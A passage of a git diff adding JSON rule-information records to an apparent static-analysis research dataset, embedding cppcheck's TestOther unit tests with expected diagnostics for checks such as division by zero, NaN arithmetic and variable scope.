\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkDuplicateExpression.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkDuplicateExpression.json new file mode 100644 index 0000000..c910614 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkDuplicateExpression.json @@ -0,0 +1,39 @@ +{ + "name": "checkDuplicateExpression", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 184, + "branches": 46, + "apis": 253, + "test": [ + { + "description": null, + "expected-problems": 18, + "expected-linenumbers": [ + 7027, + 7281, + 7309, + 7427, + 7445, + 7467, + 7474, + 7627, + 7702, + 7712, + 7723, + 7744, + 7753, + 7760, + 7770, + 7784, + 7817, + 7861 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 